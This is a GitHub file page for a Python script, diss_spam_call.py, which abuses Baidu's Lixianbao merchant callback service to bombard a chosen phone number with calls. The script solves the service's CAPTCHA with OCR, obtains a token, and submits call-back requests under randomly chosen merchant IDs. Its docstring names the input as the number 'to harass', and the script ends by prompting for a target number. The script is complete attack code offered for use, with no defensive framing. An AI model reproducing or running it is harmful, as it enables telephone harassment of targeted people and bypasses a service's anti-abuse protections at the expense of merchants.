This repository has been archived by the owner on Nov 16, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 9
/
diss_spam_call.py
151 lines (130 loc) · 4.1 KB
/
diss_spam_call.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
"""
排山倒海的推广电话,吾辈当以毒攻毒
"""
import time
import re
import json
import random
import requests
import pytesseract
from PIL import Image
from io import BytesIO
# 使用带session的请求
sss = requests.Session()
# 1. 获取验证码并识别
# 2. 获取token
# 3. 发起通话请求
def diss_spam_call(phone):
"""
这里就是骚扰电话的逻辑了,借用百度离线宝
@param phone 需要骚扰的电话,电话的格式必须正确,这里不做电话有效性验证了
@param bid 商户id(目前lxb商户ID范围在0-9200之间大部分有效)
@return call_status 提交骚扰的状态码,0为骚扰成功,其他的值为可能成功
@return False 其他异常,未能获取call_status,token等场景
"""
# 全局变量
scode = ""
token = ""
# 配置参数
f = 55
id = random.randint(1, 9200)
g = 0
_ = t = int(time.time() * 1000)
t = int(time.time() * 1000 + 320)
r = ''
callback = 'jQuery11110595526036238333_' + str(int(time.time() * 1000))
base_url = "http://lxbjs.baidu.com/cb"
scode_url = base_url + "/scode"
token_url = base_url + '/url/check'
call_url = base_url + '/call'
# 自定义headers
headers = {
'Accept':
'text/javascript, \
application/javascript, \
application/ecmascript, \
application/x-ecmascript, */*; q=0.01',
'Accept-Encoding':
'gzip, deflate',
'Accept-Language':
'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Connection':
'keep-alive',
'Host':
'lxbjs.baidu.com',
'Referer':
'http://lxbjs.baidu.com/cb/url/show?f={f}&id={id}'.format(f=f, id=id),
'User-Agent':
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) \
AppleWebKit/537.36 (KHTML, like Gecko) \
Chrome/65.0.3325.181 Safari/537.36',
'X-Requested-With':
'XMLHttpRequest'
}
# 获取并识别验证码
r_scode_params = {"t": t}
r_scode = sss.get(scode_url, params=r_scode_params, headers=headers)
if (r_scode.status_code == 200):
# 获取验证码图片
scode_image = Image.open(BytesIO(r_scode.content))
# 识别验证码图片, 不得不说,识别准确率太低了。
scode = pytesseract.image_to_string(scode_image)
print('scode:', scode)
else:
# 获取验证码失败
return
# 2. 获取token
r_token_params = {
'callback': callback,
'f': f,
'id': id,
'g': g,
't': t,
'r': r,
'_': _
}
r_token = sss.get(token_url, params=r_token_params, headers=headers)
if r_token.status_code == 200:
# 获取token
r_token_json = loads_jsonp(r_token.text)
token = r_token_json['data']['tk']
print('token:', token)
else:
# 获取token失败
return
# 3. 开始提交通话
r_call_params = {
'callback': callback,
'f': f,
'id': id,
'tk': token,
'vtel': phone,
'_': _ + 1
}
# 提交打电话申请
print('phone:', phone)
r_call = sss.get(call_url, params=r_call_params, headers=headers)
if r_call.status_code == 200:
# 请求成功,获取结果类型
r_call_json = loads_jsonp(r_call.text)
print(r_call_json)
# 163: 验证码错误,152: 号码有误,161: 非法请求, 0: 电话回拨,115: 短信通知, 105: 呼叫过于频繁
return
else:
return
def loads_jsonp(_jsonp):
"""
解析jsonp
# 作者:阿阿聪
# 链接:https://www.zhihu.com/question/52841349/answer/132564221
# 来源:知乎
# 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
:param _jsonp
:return json
"""
try:
return json.loads(re.match(".*?({.*}).*", _jsonp, re.S).group(1))
except ValueError:
raise ValueError('Invalid jsonp input')
phone = input("请输入你想diss的电话号码:")
diss_spam_call(phone)